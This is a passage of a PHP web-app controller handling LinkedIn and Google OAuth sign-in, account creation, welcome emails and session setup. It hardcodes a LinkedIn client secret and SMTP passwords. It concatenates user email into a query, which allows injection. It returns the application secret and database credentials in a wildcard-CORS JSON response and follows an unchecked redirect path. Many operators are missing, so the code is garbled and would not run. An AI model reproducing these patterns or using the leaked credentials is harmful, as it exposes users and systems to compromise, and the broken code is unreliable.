  7225.             curl_setopt_array($curl, array(
  7226.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7227.                 CURLOPT_HEADER => false,  // don't return headers
  7228.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7229.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7230.                 CURLOPT_ENCODING => "",     // handle compressed
  7231.                 CURLOPT_USERAGENT => "test"// name of client
  7232.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7233.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7234.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7235.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7236.                 CURLOPT_USERAGENT => 'InnoPM',
  7237.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7238.                 CURLOPT_POST => 1,
  7239.                 CURLOPT_HTTPHEADER => array(
  7240.                     'Content-Type: application/x-www-form-urlencoded'
  7241.                 )
  7242.             ));
  7243.             $content curl_exec($curl);
  7244.             $contentArray = [];
  7245.             curl_close($curl);
  7246.             $token false;
  7247. //      return new JsonResponse(array(
  7248. //          'content'=>$content,
  7249. //          'contentArray'=>json_decode($content,true),
  7250. //
  7251. //      ));
  7252.             if ($content) {
  7253.                 $contentArray json_decode($contenttrue);
  7254.                 $token $contentArray['access_token'];
  7255.             }
  7256.             if ($token) {
  7257.                 $applicantInfo = [];
  7258.                 $curl curl_init();
  7259.                 curl_setopt_array($curl, array(
  7260.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7261.                     CURLOPT_HEADER => false,  // don't return headers
  7262.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7263.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7264.                     CURLOPT_ENCODING => "",     // handle compressed
  7265.                     CURLOPT_USERAGENT => "test"// name of client
  7266.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7267.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7268.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7269.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7270.                     CURLOPT_USERAGENT => 'InnoPM',
  7271.                     CURLOPT_HTTPGET => 1,
  7272.                     CURLOPT_HTTPHEADER => array(
  7273.                         'Authorization: Bearer ' $token,
  7274.                         'Header-Key-2: Header-Value-2'
  7275.                     )
  7276.                 ));
  7277.                 $userGeneralcontent curl_exec($curl);
  7278.                 curl_close($curl);
  7279.                 if ($userGeneralcontent) {
  7280.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7281.                 }
  7282.                 $curl curl_init();
  7283.                 curl_setopt_array($curl, array(
  7284.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7285.                     CURLOPT_HEADER => false,  // don't return headers
  7286.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7287.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7288.                     CURLOPT_ENCODING => "",     // handle compressed
  7289.                     CURLOPT_USERAGENT => "test"// name of client
  7290.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7291.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7292.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7293.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7294. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7295.                     CURLOPT_USERAGENT => 'InnoPM',
  7296.                     CURLOPT_HTTPGET => 1,
  7297.                     CURLOPT_HTTPHEADER => array(
  7298.                         'Authorization: Bearer ' $token,
  7299.                         'Header-Key-2: Header-Value-2'
  7300.                     )
  7301.                 ));
  7302.                 $userEmailcontent curl_exec($curl);
  7303.                 curl_close($curl);
  7304.                 $token false;
  7305.                 if ($userEmailcontent) {
  7306.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7307.                 }
  7308. //        $oAuthEmail = $applicantInfo['email'];
  7309. //        return new JsonResponse(array(
  7310. //          'userEmailcontent'=>$userEmailcontent,
  7311. //          'userGeneralcontent'=>$userGeneralcontent,
  7312. //        ));
  7313. //        return new response($userGeneralcontent);
  7314.                 $oAuthData = [
  7315.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7316.                     'uniqueId' => $userGeneralcontent['id'],
  7317.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7318.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7319.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7320.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7321.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7322.                     'type' => 1,
  7323.                     'token' => $token,
  7324.                 ];
  7325.             }
  7326.         } else if (isset($_GET["code"])) {
  7327.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7328.             if (!isset($token['error'])) {
  7329.                 $google_client->setAccessToken($token['access_token']);
  7330.                 $google_service = new Google_Service_Oauth2($google_client);
  7331.                 $applicantInfo $google_service->userinfo->get();
  7332.                 $oAuthEmail $applicantInfo['email'];
  7333.                 $oAuthData = [
  7334.                     'email' => $applicantInfo['email'],
  7335.                     'uniqueId' => $applicantInfo['id'],
  7336.                     'image' => $applicantInfo['picture'],
  7337.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7338.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7339.                     'firstName' => $applicantInfo['givenName'],
  7340.                     'lastName' => $applicantInfo['familyName'],
  7341.                     'type' => $token['token_type'],
  7342.                     'token' => $token['access_token'],
  7343.                 ];
  7344.             }
  7345.         } else if (isset($_GET["access_token"])) {
  7346.             $token $_GET["access_token"];
  7347.             $tokenType $_GET["token_type"];
  7348.             if (!isset($token['error'])) {
  7349.                 $google_client->setAccessToken($token);
  7350.                 $google_service = new Google_Service_Oauth2($google_client);
  7351.                 $applicantInfo $google_service->userinfo->get();
  7352.                 $oAuthEmail $applicantInfo['email'];
  7353.                 $oAuthData = [
  7354.                     'email' => $applicantInfo['email'],
  7355.                     'uniqueId' => $applicantInfo['id'],
  7356.                     'image' => $applicantInfo['picture'],
  7357.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7358.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7359.                     'firstName' => $applicantInfo['givenName'],
  7360.                     'lastName' => $applicantInfo['familyName'],
  7361.                     'type' => $tokenType,
  7362.                     'token' => $token,
  7363.                 ];
  7364.             }
  7365.         }
  7366.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7367.             $isApplicantExist $applicantRepo->findOneBy([
  7368.                 'email' => $oAuthData['email']
  7369.             ]);
  7370.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7371.                 $isApplicantExist $applicantRepo->findOneBy([
  7372.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7373.                 ]);
  7374.             }
  7375.             if (!$isApplicantExist) {
  7376.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  7377.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  7378.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  7379.                     ->getQuery()
  7380.                     ->getResult();
  7381.                 if (!empty($usersQueried))
  7382.                     $isApplicantExist $usersQueried[0];
  7383.             }
  7384.             if ($isApplicantExist) {
  7385.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7386.                 } else
  7387.                     return $this->redirectToRoute("core_login", [
  7388.                         'id' => $isApplicantExist->getApplicantId(),
  7389.                         'oAuthData' => $oAuthData,
  7390.                         'encData' => $encData,
  7391.                         'locale' => $request->request->get('locale''en'),
  7392.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7393.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7394.                     ]);
  7395.             } else {
  7396.                 $fname $oAuthData['firstName'];
  7397.                 $lname $oAuthData['lastName'];
  7398.                 $img $oAuthData['image'];
  7399.                 $email $oAuthData['email'];
  7400.                 $oAuthEmail $oAuthData['email'];
  7401.                 $userName explode('@'$email)[0];
  7402.                 //now check if same username exists
  7403.                 $username_already_exist 1;
  7404.                 $initial_user_name $userName;
  7405.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7406.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7407.                     $isUsernameExist $applicantRepo->findOneBy([
  7408.                         'username' => $userName
  7409.                     ]);
  7410.                     if ($isUsernameExist) {
  7411.                         $username_already_exist 1;
  7412.                         $userName $initial_user_name '' rand(3009987);
  7413.                     } else {
  7414.                         $username_already_exist 0;
  7415.                     }
  7416.                     $timeoutSafeCount--;
  7417.                 }
  7418.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7419.                     $currentUnixTimeStamp '';
  7420.                     $currentUnixTime = new \DateTime();
  7421.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7422.                     $userName $userName '' $currentUnixTimeStamp;
  7423.                 }
  7424.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7425.                 $charactersLength strlen($characters);
  7426.                 $length 8;
  7427.                 $password 0;
  7428.                 for ($i 0$i $length$i++) {
  7429.                     $password .= $characters[rand(0$charactersLength 1)];
  7430.                 }
  7431.                 $newApplicant = new EntityApplicantDetails();
  7432.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7433.                 $newApplicant->setEmail($email);
  7434.                 $newApplicant->setUserName($userName);
  7435.                 $newApplicant->setFirstname($fname);
  7436.                 $newApplicant->setLastname($lname);
  7437.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7438.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7439.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7440.                 $newApplicant->setAccountStatus(1);
  7441.                 $salt uniqid(mt_rand());
  7442.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7443.                 $newApplicant->setPassword($encodedPassword);
  7444.                 $newApplicant->setSalt($salt);
  7445.                 $newApplicant->setTempPassword($password);;
  7446. //                $newApplicant->setPassword($password);
  7447.                 $marker $userName '-' time();
  7448. //                $extension_here=$uploadedFile->guessExtension();
  7449. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7450. //                $path = $fileName;
  7451.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7452.                 if (!file_exists($upl_dir)) {
  7453.                     mkdir($upl_dir0777true);
  7454.                 }
  7455.                 $ch curl_init($img);
  7456.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7457.                 curl_setopt($chCURLOPT_FILE$fp);
  7458.                 curl_setopt($chCURLOPT_HEADER0);
  7459.                 curl_exec($ch);
  7460.                 curl_close($ch);
  7461.                 fclose($fp);
  7462.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7463. //                $newApplicant->setImage($img);
  7464.                 $newApplicant->setIsConsultant(0);
  7465.                 $newApplicant->setIsTemporaryEntry(0);
  7466.                 $newApplicant->setApplyForConsultant(0);
  7467.                 $em->persist($newApplicant);
  7468.                 $em->flush();
  7469.                 $isApplicantExist $newApplicant;
  7470.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7471.                     if ($systemType == '_BUDDYBEE_') {
  7472.                         $bodyHtml '';
  7473.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7474.                         $bodyData = array(
  7475.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7476.                             'email' => $userName,
  7477.                             'password' => $newApplicant->getPassword(),
  7478.                         );
  7479.                         $attachments = [];
  7480.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7481. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7482.                         $new_mail $this->get('mail_module');
  7483.                         $new_mail->sendMyMail(array(
  7484.                             'senderHash' => '_CUSTOM_',
  7485.                             //                        'senderHash'=>'_CUSTOM_',
  7486.                             'forwardToMailAddress' => $forwardToMailAddress,
  7487.                             'subject' => 'Welcome to BuddyBee ',
  7488. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7489.                             'attachments' => $attachments,
  7490.                             'toAddress' => $forwardToMailAddress,
  7491.                             'fromAddress' => 'registration@buddybee.eu',
  7492.                             'userName' => 'registration@buddybee.eu',
  7493.                             'password' => 'Y41dh8g0112',
  7494.                             'smtpServer' => 'smtp.hostinger.com',
  7495.                             'smtpPort' => 465,
  7496.                             'encryptionMethod' => 'ssl',
  7497. //                            'emailBody' => $bodyHtml,
  7498.                             'mailTemplate' => $bodyTemplate,
  7499.                             'templateData' => $bodyData,
  7500. //                        'embedCompanyImage' => 1,
  7501. //                        'companyId' => $companyId,
  7502. //                        'companyImagePath' => $company_data->getImage()
  7503.                         ));
  7504.                     } else {
  7505.                         $bodyHtml '';
  7506.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7507.                         $bodyData = array(
  7508.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7509.                             'email' => 'APP-' $userName,
  7510.                             'password' => $newApplicant->getPassword(),
  7511.                         );
  7512.                         $attachments = [];
  7513.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7514. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7515.                         $new_mail $this->get('mail_module');
  7516.                         $new_mail->sendMyMail(array(
  7517.                             'senderHash' => '_CUSTOM_',
  7518.                             //                        'senderHash'=>'_CUSTOM_',
  7519.                             'forwardToMailAddress' => $forwardToMailAddress,
  7520.                             'subject' => 'Applicant Registration on Honeybee',
  7521. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7522.                             'attachments' => $attachments,
  7523.                             'toAddress' => $forwardToMailAddress,
  7524.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7525.                             'userName' => 'accounts@ourhoneybee.eu',
  7526.                             'password' => 'Honeybee@0112',
  7527.                             'smtpServer' => 'smtp.hostinger.com',
  7528.                             'smtpPort' => 465,
  7529.                             'encryptionMethod' => 'ssl',
  7530. //                            'emailBody' => $bodyHtml,
  7531.                             'mailTemplate' => $bodyTemplate,
  7532.                             'templateData' => $bodyData,
  7533. //                        'embedCompanyImage' => 1,
  7534. //                        'companyId' => $companyId,
  7535. //                        'companyImagePath' => $company_data->getImage()
  7536.                         ));
  7537.                     }
  7538.                 }
  7539.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7540.                 } else {
  7541.                     return $this->redirectToRoute("core_login", [
  7542.                         'id' => $newApplicant->getApplicantId(),
  7543.                         'oAuthData' => $oAuthData,
  7544.                         'encData' => $encData,
  7545.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7546.                         'locale' => $request->request->get('locale''en'),
  7547.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7548.                     ]);
  7549.                 }
  7550.             }
  7551.         }
  7552.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7553.             if ($isApplicantExist) {
  7554.                 $user $isApplicantExist;
  7555.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7556.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7557.                 $globalId $user->getApplicantId();
  7558.                 $gocList $em
  7559.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7560.                     ->findBy(
  7561.                         array(//                        'active' => 1
  7562.                         )
  7563.                     );
  7564.                 $gocDataList = [];
  7565.                 $gocDataListForLoginWeb = [];
  7566.                 $gocDataListByAppId = [];
  7567.                 foreach ($gocList as $entry) {
  7568.                     $d = array(
  7569.                         'name' => $entry->getName(),
  7570.                         'image' => $entry->getImage(),
  7571.                         'id' => $entry->getId(),
  7572.                         'appId' => $entry->getAppId(),
  7573.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7574.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7575.                         'dbName' => $entry->getDbName(),
  7576.                         'dbUser' => $entry->getDbUser(),
  7577.                         'dbPass' => $entry->getDbPass(),
  7578.                         'dbHost' => $entry->getDbHost(),
  7579.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7580.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7581.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7582.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7583.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7584.                     );
  7585.                     $gocDataList[$entry->getId()] = $d;
  7586.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7587.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7588.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7589.                 }
  7590.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7591.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7592.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7593.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7594.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7595.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7596.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7597.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7598.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7599.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7600.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7601.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7602.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7603.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7604.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7605.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7606.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7607.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7608.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7609.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7610.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7611.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7612.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7613.                     $session->set('userCompanyVibrantList'json_encode([]));
  7614.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7615.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7616.                     $session->set(UserConstants::USER_APP_ID0);
  7617.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7618.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7619.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7620.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7621.                     $session->set(UserConstants::USER_GOC_ID0);
  7622.                     $session->set(UserConstants::USER_DB_NAME'');
  7623.                     $session->set(UserConstants::USER_DB_USER'');
  7624.                     $session->set(UserConstants::USER_DB_PASS'');
  7625.                     $session->set(UserConstants::USER_DB_HOST'');
  7626.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7627.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7628.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7629.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7630.                     $session->set('locale'$request->request->get('locale'''));
  7631.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7632.                     $route_list_array = [];
  7633.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7634.                     $loginID 0;
  7635.                     $loginID MiscActions::addEntityUserLoginLog(
  7636.                         $em,
  7637.                         $session->get(UserConstants::USER_ID),
  7638.                         $session->get(UserConstants::USER_ID),
  7639.                         1,
  7640.                         $request->server->get("REMOTE_ADDR"),
  7641.                         0,
  7642.                         $request->request->get('deviceId'''),
  7643.                         $request->request->get('oAuthToken'''),
  7644.                         $request->request->get('oAuthType'''),
  7645.                         $request->request->get('locale'''),
  7646.                         $request->request->get('firebaseToken''')
  7647.                     );
  7648.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7649.                     $session_data = array(
  7650.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7651.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7652.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7653.                         'oAuthToken' => $session->get('oAuthToken'),
  7654.                         'locale' => $session->get('locale'),
  7655.                         'firebaseToken' => $session->get('firebaseToken'),
  7656.                         'token' => $session->get('token'),
  7657.                         'firstLogin' => 0,
  7658.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7659.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7660.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7661.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7662.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7663.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7664.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7665.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7666.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7667.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7668.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7669.                         'oAuthImage' => $session->get('oAuthImage'),
  7670.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7671.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7672.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7673.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7674.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7675.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7676.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7677.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7678.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7679.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7680.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7681.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7682.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7683.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7684.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7685.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7686.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7687.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7688.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7689.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7690.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7691.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7692.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7693.                         //new
  7694.                         'appIdList' => $session->get('appIdList'),
  7695.                         'branchIdList' => $session->get('branchIdList'null),
  7696.                         'branchId' => $session->get('branchId'null),
  7697.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7698.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7699.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7700.                     );
  7701.                     $accessList = [];
  7702. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7703.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7704.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7705.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7706.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7707.                                 $d = array(
  7708.                                     'userType' => $thisUserUserType,
  7709. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7710.                                     'userTypeName' => $userTypeName,
  7711.                                     'globalId' => $globalId,
  7712.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7713.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7714.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7715.                                     'systemType' => '_ERP_',
  7716.                                     'companyId' => 1,
  7717.                                     'appId' => $thisUserAppId,
  7718.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7719.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7720.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7721.                                             array(
  7722.                                                 'globalId' => $globalId,
  7723.                                                 'appId' => $thisUserAppId,
  7724.                                                 'authenticate' => 1,
  7725.                                                 'userType' => $thisUserUserType,
  7726.                                                 'userTypeName' => $userTypeName
  7727.                                             )
  7728.                                         )
  7729.                                     ),
  7730.                                     'userCompanyList' => [
  7731.                                     ]
  7732.                                 );
  7733.                                 $accessList[] = $d;
  7734.                             }
  7735.                         }
  7736.                     }
  7737.                     $session_data['userAccessList'] = $accessList;
  7738.                     $session->set('userAccessList'json_encode($accessList));
  7739.                     $session_data $this->filterClientSessionData($session_data);
  7740.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7741.                     $session_data $tokenData['sessionData'];
  7742.                     $token $tokenData['token'];
  7743.                     $session->set('token'$token);
  7744.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7745.                         $session->set('remoteVerified'1);
  7746.                         $response = new JsonResponse(array(
  7747.                             'token' => $token,
  7748.                             'uid' => $session->get(UserConstants::USER_ID),
  7749.                             'session' => $session,
  7750.                             'success' => true,
  7751.                             'session_data' => $session_data,
  7752.                         ));
  7753.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7754.                         return $response;
  7755.                     }
  7756.                     if ($request->request->has('referer_path')) {
  7757.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7758.                             return $this->redirect($request->request->get('referer_path'));
  7759.                         }
  7760.                     }
  7761.                     $redirectRoute 'applicant_dashboard';
  7762.                     if ($request->query->has('encData')) {
  7763.                         if ($request->query->get('encData') == '8917922')
  7764.                             $redirectRoute 'apply_for_consultant';
  7765.                     }
  7766.                     return $this->redirectToRoute($redirectRoute);
  7767.                 }
  7768. //                    $response = new JsonResponse(array(
  7769. //                        'token' => $token,
  7770. //                        'uid' => $session->get(UserConstants::USER_ID),
  7771. //                        'session' => $session,
  7772. //
  7773. //                        'success' => true,
  7774. //                        'session_data' => $session_data,
  7775. //
  7776. //                    ));
  7777. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7778. //                    return $response;
  7779. //                    return $this->redirectToRoute("user_login", [
  7780. //                        'id' => $isApplicantExist->getApplicantId(),
  7781. //                        'oAuthData' => $oAuthData,
